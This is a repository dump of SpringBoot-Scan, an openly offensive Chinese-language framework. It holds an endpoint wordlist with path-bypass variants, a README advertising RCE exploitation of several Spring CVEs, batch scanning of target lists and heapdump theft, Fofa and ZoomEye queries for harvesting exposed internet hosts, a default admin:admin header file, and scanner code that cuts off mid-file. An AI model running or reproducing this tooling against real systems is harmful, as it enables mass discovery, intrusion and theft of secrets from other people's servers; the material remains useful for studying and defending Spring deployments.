├── Dir.txt ├── LICENSE ├── README.md ├── SpringBoot-Scan.png ├── SpringBoot-Scan.py ├── header.txt ├── inc ├── console.py ├── fofa.py ├── hunter.py ├── output.py ├── poc.py ├── proxycheck.py ├── run.py ├── springcheck.py ├── vul.py └── zoom.py ├── pic ├── Fofa.png ├── GUI.png ├── Headers.png ├── Hunter.png ├── Poc.png ├── Readme.md ├── ZoomEye.png ├── 对单一URL进行漏洞利用.png ├── 扫描单一URL.png ├── 扫描并下载SpringBoot敏感文件.png ├── 测试代理.png ├── 读取TXT并批量扫描.png └── 读取目标TXT进行批量敏感文件扫描.png ├── requirements.txt └── url.txt /Dir.txt: -------------------------------------------------------------------------------- 1 | api-docs 2 | actuator 3 | actuator/./env 4 | actuator/auditLog 5 | actuator/auditevents 6 | actuator/autoconfig 7 | actuator/beans 8 | actuator/caches 9 | actuator/conditions 10 | actuator/configurationMetadata 11 | actuator/configprops 12 | actuator/dump 13 | actuator/env 14 | actuator/events 15 | actuator/exportRegisteredServices 16 | actuator/features 17 | actuator/flyway 18 | actuator/health 19 | actuator/healthcheck 20 | actuator/httptrace 21 | actuator/hystrix.stream 22 | actuator/info 23 | actuator/integrationgraph 24 | actuator/jolokia 25 | actuator/logfile 26 | actuator/loggers 27 | actuator/loggingConfig 28 | actuator/liquibase 29 | actuator/metrics 30 | actuator/mappings 31 | actuator/scheduledtasks 32 | actuator/swagger-ui.html 33 | actuator/prometheus 34 | actuator/refresh 35 | actuator/registeredServices 36 | actuator/releaseAttributes 37 | actuator/resolveAttributes 38 | actuator/scheduledtasks 39 | actuator/sessions 40 | actuator/springWebflow 41 | actuator/sso 42 | actuator/ssoSessions 43 | actuator/statistics 44 | actuator/status 45 | actuator/threaddump 46 | actuator/trace 47 | actuator/env.css 48 | artemis-portal/artemis/env 49 | artemis/api 50 | artemis/api/env 51 | auditevents 52 | autoconfig 53 | api 54 | api.html 55 | api/actuator 56 | api/doc 57 | api/index.html 58 | api/swaggerui 59 | api/swagger-ui.html 60 | api/swagger 61 | api/swagger/ui 62 | api/v2/api-docs 63 | api/v2;%0A/api-docs 64 | api/v2;%252Ftest/api-docs 65 | api-docs 66 | beans 67 | caches 68 | cloudfoundryapplication 69 | conditions 70 | configprops 71 | distv2/index.html 72 | docs 73 | doc.html 74 | druid 75 | druid/index.html 76 | druid/login.html 77 | druid/websession.html 78 | dubbo-provider/distv2/index.html 79 | dump 80 | decision/login 81 | entity/all 82 | env 83 | env.css 84 | env/(name) 85 | eureka 86 | flyway 87 | functionRouter 88 | gateway/actuator 89 | gateway/actuator/auditevents 90 | gateway/actuator/beans 91 | gateway/actuator/conditions 92 | gateway/actuator/configprops 93 | gateway/actuator/env 94 | gateway/actuator/health 95 | gateway/actuator/httptrace 96 | gateway/actuator/hystrix.stream 97 | gateway/actuator/info 98 | gateway/actuator/jolokia 99 | gateway/actuator/logfile 100 | gateway/actuator/loggers 101 | gateway/actuator/mappings 102 | gateway/actuator/metrics 103 | gateway/actuator/scheduledtasks 104 | gateway/actuator/swagger-ui.html 105 | gateway/actuator/threaddump 106 | gateway/actuator/trace 107 | gateway/routes 108 | health 109 | httptrace 110 | hystrix 111 | info 112 | integrationgraph 113 | jolokia 114 | jolokia/list 115 | jeecg/swagger-ui 116 | jeecg/swagger/ 117 | libs/swaggerui 118 | liquibase 119 | list 120 | logfile 121 | loggers 122 | liquibase 123 | metrics 124 | mappings 125 | monitor 126 | nacos 127 | prod-api/actuator 128 | prometheus 129 | portal/conf/config.properties 130 | portal/env/ 131 | refresh 132 | scheduledtasks 133 | sessions 134 | spring-security-oauth-resource/swagger-ui.html 135 | spring-security-rest/api/swagger-ui.html 136 | static/swagger.json 137 | sw/swagger-ui.html 138 | swagger 139 | swagger/codes 140 | swagger/doc.json 141 | swagger/index.html 142 | swagger/static/index.html 143 | swagger/swagger-ui.html 144 | Swagger/ui/index 145 | swagger/ui 146 | swagger/v1/swagger.json 147 | swagger/v2/swagger.json 148 | swagger-dubbo/api-docs 149 | swagger-resources 150 | swagger-resources/configuration/ui 151 | swagger-resources/configuration/security 152 | swagger-ui 153 | swagger-ui.html 154 | swagger-ui.html; 155 | swagger-ui/html 156 | swagger-ui/index.html 157 | system/druid/index.html 158 | system/druid/webseesion.html 159 | threaddump 160 | template/swagger-ui.html 161 | trace 162 | users 163 | user/swagger-ui.html 164 | version 165 | v1/api-docs/ 166 | v2/api-docs/ 167 | v3/api-docs/ 168 | v1/swagger-resources 169 | v2/swagger-resources 170 | v3/swagger-resources 171 | v1.1/swagger-ui.html 172 | v1.1;%0A/api-docs 173 | v1.2/swagger-ui.html 174 | v1.2;%0A/api-docs 175 | v1.3/swagger-ui.html 176 | v1.3;%0A/api-docs 177 | v1.4/swagger-ui.html 178 | v1.4;%0A/api-docs 179 | v1.5/swagger-ui.html 180 | v1.5;%0A/api-docs 181 | v1.6/swagger-ui.html 182 | v1.6;%0A/api-docs 183 | v1.7/swagger-ui.html 184 | v1.7;%0A/api-docs 185 | v1.8/swagger-ui.html 186 | v1.8;%0A/api-docs 187 | v1.9/swagger-ui.html 188 | v1.9;%0A/api-docs 189 | v2.0/swagger-ui.html 190 | v2.0;%0A/api-docs 191 | v2.1/swagger-ui.html 192 | v2.1;%0A/api-docs 193 | v2.2/swagger-ui.html 194 | v2.2;%0A/api-docs 195 | v2.3/swagger-ui.html 196 | v2.3;%0A/api-docs 197 | v1/swagger.json 198 | v2/swagger.json 199 | v3/swagger.json 200 | v2;%0A/api-docs 201 | v3;%0A/api-docs 202 | v2;%252Ftest/api-docs 203 | v3;%252Ftest/api-docs 204 | webpage/system/druid/websession.html 205 | webpage/system/druid/index.html 206 | webroot/decision/login 207 | webjars/springfox-swagger-ui/swagger-ui-standalone-preset.js 208 | webjars/springfox-swagger-ui/swagger-ui-standalone-preset.js?v=2.9.2 209 | webjars/springfox-swagger-ui/springfox.js 210 | webjars/springfox-swagger-ui/springfox.js?v=2.9.2 211 | webjars/springfox-swagger-ui/swagger-ui-bundle.js 212 | webjars/springfox-swagger-ui/swagger-ui-bundle.js?v=2.9.2 213 | %20/swagger-ui.html 214 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 曾哥 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![SpringBoot-Scan](https://socialify.git.ci/AabyssZG/SpringBoot-Scan/image?description=1&descriptionEditable=Open%20source%20penetration%20framework%20for%20SpringBoot%20and%20high-risk%20vulnerability%20exploitation%20tools%20related%20to%20Spring&font=Rokkitt&forks=1&issues=1&language=1&logo=https%3A%2F%2Favatars.githubusercontent.com%2Fu%2F54609266%3Fv%3D4&name=1&owner=1&pattern=Circuit%20Board&stargazers=1&theme=Dark) 2 | 3 | # ✈️ 一、工具概述 4 | 日常渗透过程中,经常会碰到Spring Boot搭建的微服务,于是就想做一个针对Spring Boot的开源渗透框架,主要用作扫描Spring Boot的敏感信息泄露端点,并可以直接测试Spring的相关高危漏洞。于是,就写了这么一个工具:SpringBoot-Scan 【简称:“SB-Scan”(错乱】![star](https://gitcode.com/AabyssZG/SpringBoot-Scan/star/badge.svg) 5 | 6 | ![SpringBoot-Scan](./SpringBoot-Scan.png) 7 | 8 | **本项目的GitCode地址:[https://gitcode.com/AabyssZG/SpringBoot-Scan](https://gitcode.com/AabyssZG/SpringBoot-Scan),当前工具版本号:V2.6-2025/03/11** 9 | 10 | **我还整理了一篇SpringBoot的相关渗透姿势在我的个人博客,欢迎各位师傅前来交流哈哈:[https://blog.zgsec.cn/archives/129.html](https://blog.zgsec.cn/archives/129.html)** 11 | 12 | # 📝 二、TODO 13 | 14 | ## 漏洞支持的更新 15 | 16 | * [x] 添加支持2023 JeeSpringCloud 任意文件上传漏洞 17 | * [x] 添加支持CVE-2022-22947 (Spring Cloud Gateway SpELRCE漏洞) 18 | * [x] 添加支持CVE-2022-22963 (Spring Cloud Function SpEL RCE漏洞) 19 | * [x] 添加支持CVE-2022-22965 (Spring Core RCE漏洞) 20 | * [x] 添加支持CVE-2021-21234 (任意文件读取漏洞) 21 | * [x] 添加支持2021 SnakeYAML_RCE 漏洞 22 | * [x] 添加支持2021 Eureka_Xstream 反序列化漏洞 23 | * [x] 添加支持2020 Jolokia配置不当导致RCE漏洞 24 | * [x] 添加支持CVE-2018-1273(Spring Data Commons RCE漏洞) 25 | * [x] 增加漏洞利用选择模块,可以选择单一或多个漏洞进行检测 26 | * [x] 命令执行漏洞式支持交互式执行命令 27 | * [x] 增加批量漏洞验证模块(你们一直想要的来啦) 28 | 29 | 后期将加入更多漏洞利用内置模块(各位师傅能不能赏个Star嘛~ 码代码挺辛苦的哈哈) 30 | 31 | ## 功能支持的更新 32 | 33 | * [x] 感谢 [`@ThumpBo`](https://github.com/ThumpBo) 师傅提出的建议,增加了读取指定TXT批量扫描敏感文件的功能 `-df` 并将扫描成功结果导出至 `dumpout.txt` 内 34 | * [x] 对下载敏感文件的模块进行报错优化,将报错内容并入至 `error.log` 35 | * [x] 感谢 [`@YanXi9999`](https://github.com/YanXi9999) 师傅的贡献,在读取指定TXT并批量信息泄露扫描过程中,去除重复页面提高效率 36 | * [x] 对端点爆破模块进行优化,对页面进行Hash计算,如果发现页面Hash相同的情况就不导入到 `urlout.txt` 37 | * [x] 在目录爆破 `run.py` /POC探测 `poc.py` /漏洞利用 `vul.py` 这三个核心模块,新增全局变量 `outtime = 10` 可自由调整各模块HTTP访问超时时间 38 | * [x] 感谢 [`@Viking`](https://github.com/VK2000) 师傅,增加了部分 `Dir.txt` 敏感端点爆破字典的内容 39 | * [x] 感谢 [`@Fkalis`](https://github.com/WingBy-Fkalis) 师傅,使用 `aiohttp` 对批量信息泄露扫描进行并发处理,大大提高 `-uf` 参数的扫描速度 40 | * [x] 新增支持多个参数自定义HTTP头部(请求头)进行操作,功能实现啦,快来试试吧~ 41 | * [x] 新增支持资产测绘导出的时候自定义查询语句,更加灵活的导出目标资产数据 42 | * [x] 新增在敏感端点爆破爆破(单一和批量)的时候进行延时扫描,防止扫描速度太快被拦截 43 | * [x] 新增 [Hunter资产测绘](https://hunter.qianxin.com/) 导出模块,自动对接API接口将资产导出至 `hunterout.txt` 44 | * [x] 新增 [Fofa资产测绘](https://fofa.info/) 导出模块,自动对接API接口将资产导出至 `fofaout.txt` 45 | * [x] 新增 [ZoomEye资产测绘](https://www.zoomeye.org/) 导出模块,自动对接API接口将资产导出至 `zoomout.txt` 46 | * [x] 在Spring端点爆破的时候,新增过滤一些无效回显的页面,提高工作效率 47 | * [x] 对端点爆破字典进行优化,增加一些绕过语句,如果有补充欢迎提交 48 | * [x] 支持自动对Spring进行指纹识别 49 | * [x] 在漏洞利用模块,对错误进行输出为 `error.log` 50 | * [x] 支持使用带认证的HTTP代理节点,自动检测节点状态 51 | * [x] 由 [`@13exp`](https://github.com/13exp) 师傅友情制作GUI图形化版本 52 | * [x] 验证代理是否存活,并可以使用HTTP代理认证,支持使用HTTP/HTTPS代理所有流量 53 | * [x] 随机User-Agent请求头 54 | * [x] 解决SSL证书问题 (自签名证书请改成 `http://` 即可) 55 | * [x] 智能识别目标地址 (`example.com` 和`http://example.com/` 以及`http://example.com` 都不会报错) 56 | 57 | ## 注明 58 | 59 | - **本工具优化了使用者体验,不管是对单一URL扫描还是读取TXT进行批量扫描,`example.com` 和`http://example.com/` 以及`http://example.com` 都不会报错,程序会自行判断并识别** 60 | - **解决了SSL证书问题,可以对采用SSL证书的Spring Boot框架进行扫描(自签名证书请改成 `http://` 即可)** 61 | - **对于二级目录部署的Spring项目,直接给工具相应的路径就行了(比如 `example.com/test/` 这个路径部署了Spring项目,那直接将 `example.com/test/` 传参给工具就行了)** 62 | 63 | **GUI图形化版本,由 [`@13exp`](https://github.com/13exp) 师傅友情制作,GUI地址:[https://github.com/13exp/SpringBoot-Scan-GUI](https://github.com/13exp/SpringBoot-Scan-GUI)** 64 | 65 | ![GUI](./pic/GUI.png) 66 | 67 | **注:因为本项目的 `vul.py` 和GUI项目均包含漏洞利用模块,杀软报毒和查杀为正常情况。如果觉得工具不错,师傅们可以点个Star哈哈~** 68 | 69 | # 🚨 三、安装Python依赖库 70 | ``` 71 | pip install -r requirements.txt 72 | ``` 73 | 74 | 如果pip安装速度慢,可以采用国内源进行安装: 75 | 76 | ``` 77 | pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple/ 78 | ``` 79 | 80 | # 🐉 四、工具使用 81 | 82 | 如何找到互联网上的Spring框架,ZoomEye语法如下: 83 | 84 | ``` 85 | app:"Spring Framework" 86 | ``` 87 | 88 | Fofa语法如下: 89 | 90 | ``` 91 | icon_hash="116323821"||body="Whitelabel Error Page" 92 | ``` 93 | 94 | 本工具的参数如下: 95 | 96 | ``` 97 | # python3 SpringBoot-Scan.py 98 | ______ __ _______ __ 99 | / \ | \ | \ | \ 100 | | $$$$$$\ ______ ______ \$$ _______ ______ | $$$$$$$\ ______ ______ _| $$_ 101 | | $$___\$$ / \ / \ | \| \ / \ | $$__/ $$ / \ / \| $$ \ 102 | \$$ \ | $$$$$$\| $$$$$$\| $$| $$$$$$$\| $$$$$$\| $$ $$| $$$$$$\| $$$$$$\\$$$$$$ 103 | _\$$$$$$\| $$ | $$| $$ \$$| $$| $$ | $$| $$ | $$| $$$$$$$\| $$ | $$| $$ | $$ | $$ __ 104 | | \__| $$| $$__/ $$| $$ | $$| $$ | $$| $$__| $$| $$__/ $$| $$__/ $$| $$__/ $$ | $$| \ 105 | \$$ $$| $$ $$| $$ | $$| $$ | $$ \$$ $$| $$ $$ \$$ $$ \$$ $$ \$$ $$ 106 | \$$$$$$ | $$$$$$$ \$$ \$$ \$$ \$$ _\$$$$$$$ \$$$$$$$ \$$$$$$ \$$$$$$ \$$$$ 107 | | $$ | \__| $$ 108 | | $$ \$$ $$ [+] V2.6-2025年 蛇年新春贺岁版 109 | \$$ \$$$$$$ [+] 感谢一路上支持和关注我们的师傅 110 | ______ 111 | / \ +-------------------------------------+ 112 | | $$$$$$\ _______ ______ _______ + Version: 2.6 + 113 | | $$___\$$ / \| \ | \ + Author: 曾哥(@AabyssZG) + 114 | \$$ \ | $$$$$$$ \$$$$$$\| $$$$$$$\ + Whoami: https://github.com/AabyssZG + 115 | _\$$$$$$\| $$ / $$| $$ | $$ +-------------------------------------+ 116 | | \__| $$| $$_____| $$$$$$$| $$ | $$ + 多进程速度提升: Fkalis + 117 | \$$ $$ \$$ \\$$ $$| $$ | $$ + Whoami: github.com/WingBy-Fkalis + 118 | \$$$$$$ \$$$$$$$ \$$$$$$$ \$$ \$$ +-------------------------------------+ 119 | 120 | 用法: 121 | 对单一URL进行信息泄露扫描: python3 SpringBoot-Scan.py -u http://example.com/ 122 | 读取目标TXT进行批量信息泄露扫描: python3 SpringBoot-Scan.py -uf url.txt 123 | 对单一URL进行漏洞扫描: python3 SpringBoot-Scan.py -v http://example.com/ 124 | 读取目标TXT进行批量漏洞扫描: python3 SpringBoot-Scan.py -vf url.txt 125 | 扫描并下载SpringBoot敏感文件: python3 SpringBoot-Scan.py -d http://example.com/ 126 | 读取目标TXT进行批量敏感文件扫描: python3 SpringBoot-Scan.py -df url.txt 127 | 使用HTTP代理并自动进行连通性测试: python3 SpringBoot-Scan.py -p <代理IP:端口> 128 | 从TXT文件中导入自定义HTTP头部: python3 SpringBoot-Scan.py -t header.txt 129 | 通过ZoomEye密钥进行API下载数据: python3 SpringBoot-Scan.py -z 130 | 通过Fofa密钥进行API下载数据: python3 SpringBoot-Scan.py -f 131 | 通过Hunter密钥进行API下载数据: python3 SpringBoot-Scan.py -y 132 | ``` 133 | 134 | # 🛸 五、工具演示 135 | 136 | ## 0# Spring资产测绘 137 | 138 | ### 通过ZoomEye进行Spring资产测绘 139 | 140 | 本工具专门对接了 [ZoomEye的API接口](https://www.zoomeye.org/doc),使用API-KEY即可批量下载Spring的资产测绘数据: 141 | 142 | ``` 143 | python3 SpringBoot-Scan.py -z 144 | ``` 145 | 146 | ![ZoomEye](./pic/ZoomEye.png) 147 | 148 | **注:目前该模块已经支持自定义语法的资产测绘导出;资产测绘结束后,会把通过API下载的结果导出到 `zoomout.txt`,就可以使用其他参数进行操作啦** 149 | 150 | ### 通过Fofa进行Spring资产测绘 151 | 152 | 本工具专门对接了 [Fofa的API接口](https://fofa.info/api),使用API-KEY即可批量下载Spring的资产测绘数据: 153 | 154 | ``` 155 | python3 SpringBoot-Scan.py -f 156 | ``` 157 | 158 | ![Fofa](./pic/Fofa.png) 159 | 160 | **注:目前该模块已经支持自定义语法的资产测绘导出;资产测绘结束后,会把通过API下载的结果导出到 `fofaout.txt`,就可以使用其他参数进行操作啦** 161 | 162 | ### 通过Hunter鹰图进行Spring资产测绘 163 | 164 | 本工具专门对接了 [鹰图的API接口](https://hunter.qianxin.com/home/helpCenter?r=5-1-2),使用API-KEY即可批量下载Spring的资产测绘数据: 165 | 166 | ``` 167 | python3 SpringBoot-Scan.py -y 168 | ``` 169 | 170 | ![Hunter](./pic/Hunter.png) 171 | 172 | **注:目前该模块已经支持自定义语法的资产测绘导出;资产测绘结束后,会把通过API下载的结果导出到 `hunterout.txt`,就可以使用其他参数进行操作啦** 173 | 174 | ## 1# 测试并使用代理和自定义HTTP头部 175 | 176 | ### 测试并使用代理 177 | 178 | ``` 179 | python3 SpringBoot-Scan.py -p <代理IP:端口> 180 | python3 SpringBoot-Scan.py -p 181 | ``` 182 | 183 | ![测试代理](./pic/测试代理.png) 184 | 185 | 比如我想对单一URL进行信息泄露扫描并使用代理 186 | ``` 187 | python3 SpringBoot-Scan.py -u example.com -p <代理IP:端口> 188 | python3 SpringBoot-Scan.py -p 189 | ``` 190 | 同样,其他参数(`-u` / `-uf` / `-v` / `-vf` / `-d`)均可以配合代理使用 191 | 192 | ### 测试并使用自定义HTTP头部(自定义请求头) 193 | 194 | ``` 195 | python3 SpringBoot-Scan.py -t header.txt 196 | ``` 197 | 198 | ![Headers](./pic/Headers.png) 199 | 200 | 使用该自定义HTTP头部功能请自行更改 `header.txt` 内的内容,允许(`-u` / `-uf` / `-v` / `-d`)参数使用,因为批量漏洞扫描没有明确需求故没加入该功能 201 | 202 | ## 2# 对单一URL进行敏感端点爆破 203 | 204 | `Dir.txt` 为内置的Spring端点爆破字典,我基本收集齐了Spring Boot的相关敏感信息泄露端点 205 | 206 | 如果有遗漏,欢迎各位师傅跟我联系哈哈 207 | 208 | ``` 209 | python3 SpringBoot-Scan.py -u example.com 210 | ``` 211 | 212 | ![扫描单一URL](./pic/扫描单一URL.png) 213 | 214 | 新增延时扫描选项,如果不想延时扫描输入 `0` 回车即可 215 | 216 | **注:扫描结束后,会把成功的结果导出为同目录下的 `urlout.txt`** 217 | 218 | ## 3# 读取目标TXT进行批量信息泄露扫描 219 | 220 | ``` 221 | python3 SpringBoot-Scan.py -uf url.txt 222 | ``` 223 | 224 | ![读取TXT并批量扫描](./pic/读取TXT并批量扫描.png) 225 | 226 | 新增延时扫描选项,如果不想延时扫描输入 `0` 回车即可;感谢 [`@Fkalis`](https://github.com/FFR66) 师傅,新增并发扫描选项,默认并发数为10 227 | 228 | **注:由于版本更新,在2.21版本之后,读取TXT并扫描的参数改为 `uf`,扫描结束后,会把成功的结果导出为同目录下的 `output.txt`** 229 | 230 | ## 4# 对单一URL进行漏洞利用 231 | 232 | ``` 233 | python3 SpringBoot-Scan.py -v example.com 234 | ``` 235 | 236 | ![对单一URL进行漏洞利用](./pic/对单一URL进行漏洞利用.png) 237 | 238 | 已经实现RCE漏洞,命令自定义功能(不要拿去干坏事哦) 239 | 240 | **同时,后期将加入更多漏洞利用内置模块,请师傅们敬请期待~** 241 | 242 | ## 5# 读取目标TXT进行批量漏洞扫描 243 | 244 | ``` 245 | python3 SpringBoot-Scan.py -vf url.txt 246 | ``` 247 | 248 | ![Poc](./pic/Poc.png) 249 | 250 | 可以自由选择漏洞库里面的漏洞进行批量验证,扫描结束后将导出成功的内容至 `vulout.txt` 内 251 | 252 | ## 6# 扫描并下载SpringBoot敏感文件 253 | 254 | ``` 255 | python3 SpringBoot-Scan.py -d example.com 256 | ``` 257 | 258 | ![扫描并下载SpringBoot敏感文件](./pic/扫描并下载SpringBoot敏感文件.png) 259 | 260 | **注:扫描到的敏感文件,会自动下载到脚本的运行目录,有进度条可以看到实时下载进度** 261 | 262 | 目前敏感文件目录内置了5个,如下: 263 | 264 | ``` 265 | actuator/heapdump 266 | gateway/actuator/heapdump 267 | heapdump 268 | heapdump.json 269 | hystrix.stream 270 | artemis-portal/artemis/heapdump 271 | ``` 272 | 273 | ## 7# 读取目标TXT进行批量敏感文件扫描 274 | 275 | ``` 276 | python3 SpringBoot-Scan.py -df url.txt 277 | ``` 278 | 279 | ![读取目标TXT进行批量敏感文件扫描](./pic/读取目标TXT进行批量敏感文件扫描.png) 280 | 281 | 扫描结束后将导出成功的内容至 `dumpout.txt` 内 282 | 283 | 如果有师傅有其他敏感文件的目录,可以提交issues,谢谢!!! 284 | 285 | # 🖐 六、免责声明 286 | 287 | 1. 如果您下载、安装、使用、修改本工具及相关代码,即表明您信任本工具 288 | 2. 在使用本工具时造成对您自己或他人任何形式的损失和伤害,我们不承担任何责任 289 | 3. 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任 290 | 4. 请您务必审慎阅读、充分理解各条款内容,特别是免除或者限制责任的条款,并选择接受或不接受 291 | 5. 除非您已阅读并接受本协议所有条款,否则您无权下载、安装或使用本工具 292 | 6. 您的下载、安装、使用等行为即视为您已阅读并同意上述协议的约束 293 | 294 | # 🙏 七、感谢各位师傅 295 | 296 | ## Stargazers 297 | 298 | [![Stargazers repo roster for @AabyssZG/SpringBoot-Scan](http://reporoster.com/stars/AabyssZG/SpringBoot-Scan)](https://github.com/AabyssZG/SpringBoot-Scan/stargazers) 299 | 300 | 301 | ## Forkers 302 | 303 | [![Forkers repo roster for @AabyssZG/SpringBoot-Scan](http://reporoster.com/forks/AabyssZG/SpringBoot-Scan)](https://github.com/AabyssZG/SpringBoot-Scan/network/members) 304 | 305 | 306 | ## Star History 307 | 308 | [![Star History Chart](https://api.star-history.com/svg?repos=AabyssZG/SpringBoot-Scan&type=Date)](https://star-history.com/#AabyssZG/SpringBoot-Scan&Date) 309 | -------------------------------------------------------------------------------- /SpringBoot-Scan.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AabyssZG/SpringBoot-Scan/2ba835f8cb88b6a9952d848bfa067692b402a72f/SpringBoot-Scan.png -------------------------------------------------------------------------------- /SpringBoot-Scan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | ################ 4 | # AabyssZG # 5 | ################ 6 | 7 | from inc import output, console, run ,proxycheck 8 | import re, binascii, argparse, sys, time 9 | 10 | def get_parser(): 11 | parser = argparse.ArgumentParser(usage='python3 SpringBoot-Scan.py',description='SpringBoot-Scan: 针对SpringBoot的开源渗透框架',) 12 | p = parser.add_argument_group('SpringBoot-Scan 的参数') 13 | p.add_argument("-u", "--url", type=str, help="对单一URL进行信息泄露扫描") 14 | p.add_argument("-uf", "--urlfile", type=str, help="读取目标TXT进行信息泄露扫描") 15 | p.add_argument("-v", "--vul", type=str, help="对单一URL进行漏洞利用") 16 | p.add_argument("-vf", "--vulfile", type=str, help="读取目标TXT进行批量漏洞扫描") 17 | p.add_argument("-d", "--dump", type=str, help="扫描并下载SpringBoot敏感文件(可提取敏感信息)") 18 | p.add_argument("-df", "--dumpfile", type=str, help="读取目标TXT进行批量敏感文件扫描(可提取敏感信息)") 19 | p.add_argument("-p", "--proxy", type=str, default='', help="使用HTTP代理") 20 | p.add_argument("-z", "--zoomeye", type=str, default='', help="使用ZoomEye导出Spring框架资产") 21 | p.add_argument("-f", "--fofa", type=str, default='', help="使用Fofa导出Spring框架资产") 22 | p.add_argument("-y", "--hunter", type=str, default='', help="使用Hunter导出Spring框架资产") 23 | p.add_argument("-t", "--newheader", type=str, help="从TXT文件中导入自定义HTTP头部") 24 | args = parser.parse_args() 25 | return args 26 | 27 | def main(): 28 | output.logo() 29 | args = get_parser() 30 | proxycheck.SpringBoot_Scan_Proxy(args) 31 | #console.SpringBoot_Scan_console(args) 32 | 33 | if __name__ == '__main__': 34 | main() 35 | -------------------------------------------------------------------------------- /header.txt: -------------------------------------------------------------------------------- 1 | Authorization: Basic YWRtaW46YWRtaW4= -------------------------------------------------------------------------------- /inc/console.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | ################ 4 | # AabyssZG # 5 | ################ 6 | 7 | from inc import output,run,vul,springcheck,zoom,fofa,poc,hunter 8 | import sys,asyncio 9 | 10 | # 控制台-参数处理和程序调用 11 | def SpringBoot_Scan_console(args, proxies, header_new): 12 | if args.url: 13 | urlnew = springcheck.check(args.url, proxies, header_new) 14 | run.url(urlnew, proxies, header_new) 15 | if args.urlfile: 16 | asyncio.run(run.file_main(args.urlfile,proxies, header_new)) 17 | if args.vul: 18 | urlnew = springcheck.check(args.vul, proxies, header_new) 19 | vul.vul(urlnew, proxies, header_new) 20 | if args.vulfile: 21 | poc.poc(args.vulfile, proxies) 22 | if args.dump: 23 | urlnew = springcheck.check(args.dump, proxies, header_new) 24 | run.dump(urlnew, proxies, header_new) 25 | if args.dumpfile: 26 | run.dumpfile(args.dumpfile, proxies, header_new) 27 | if args.zoomeye: 28 | zoom.ZoomDowload(args.zoomeye,proxies) 29 | if args.fofa: 30 | fofa.FofaDowload(args.fofa,proxies) 31 | if args.hunter: 32 | hunter.HunterDowload(args.hunter,proxies) 33 | else: 34 | output.usage() 35 | sys.exit() 36 | -------------------------------------------------------------------------------- /inc/fofa.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | ################ 4 | # AabyssZG # 5 | ################ 6 | 7 | import requests, sys, json, re, random, base64 8 | from termcolor import cprint 9 | from time import sleep 10 | import urllib3 11 | urllib3.disable_warnings() 12 | 13 | def JSON_load(text): 14 | json_str = text 15 | data = json.loads(json_str) 16 | # 提取ip和port信息 17 | ip_port_list = [service[0] for service in data["results"]] 18 | # 打印提取的信息 19 | if ip_port_list == []: 20 | cprint("[-] 没有搜索到任何资产,请确认你的语法是否正确","yellow") 21 | sys.exit() 22 | for service in ip_port_list: 23 | if ("https" not in service): 24 | service = "http://" + service 25 | outurl = str(service) 26 | f2 = open("fofaout.txt", "a") 27 | f2.write(str(outurl) + '\n') 28 | f2.close() 29 | print(f"Service: {outurl}") 30 | 31 | def Key_Dowload(key,proxies,choices,searchs): 32 | cprint("======通过Fofa密钥进行API下载数据======","green") 33 | Headers = { 34 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", 35 | "Content-Type": "application/x-www-form-urlencoded" 36 | } 37 | pagesys = (choices%100) 38 | pageszc = (choices//100) 39 | if pagesys > 0: 40 | pages = pageszc + 1 41 | else: 42 | pages = pageszc 43 | i = 1 44 | while i <= pages: 45 | page_url = "&page=" + str(i) 46 | keyurl = "https://fofa.info/api/v1/search/all?&key=" + key + "&qbase64=" + str(searchs) 47 | dowloadurl = keyurl + page_url 48 | cprint("[+] 正在尝试下载第 %d 页数据" % i, "red") 49 | try: 50 | requests.packages.urllib3.disable_warnings() 51 | dowloadre = requests.get(url=dowloadurl, headers=Headers, timeout=10, verify=False, proxies=proxies) 52 | if ("\"error\":false" in str(dowloadre.text)): 53 | JSON_load(dowloadre.text) 54 | cprint("-" * 45, "red") 55 | else: 56 | cprint("[-] API返回状态码为 %d" % dowloadre.status_code,"yellow") 57 | cprint("[-] 请根据返回的状态码,参考官方手册:https://fofa.info/api","yellow") 58 | except KeyboardInterrupt: 59 | print("Ctrl + C 手动终止了进程") 60 | sys.exit() 61 | except Exception as e: 62 | print("[-] 发生错误,已记入日志error.log\n") 63 | f2 = open("error.log", "a") 64 | f2.write(str(e) + '\n') 65 | f2.close() 66 | i = i + 1 67 | 68 | def Key_Test(key,proxies,choices,searchs): 69 | cprint("======您的Fofa密钥进行API对接测试======","green") 70 | Headers = { 71 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", 72 | "Content-Type": "application/x-www-form-urlencoded" 73 | } 74 | keytesturl = "https://fofa.info/api/v1/info/my?key=" + key 75 | try: 76 | requests.packages.urllib3.disable_warnings() 77 | testre = requests.get(url=keytesturl, headers=Headers, timeout=6, verify=False, proxies=proxies) 78 | json_str = testre.text 79 | data = json.loads(json_str) 80 | error = data["error"] 81 | if error == 0: 82 | username = str(data["username"]) 83 | cprint("[+] 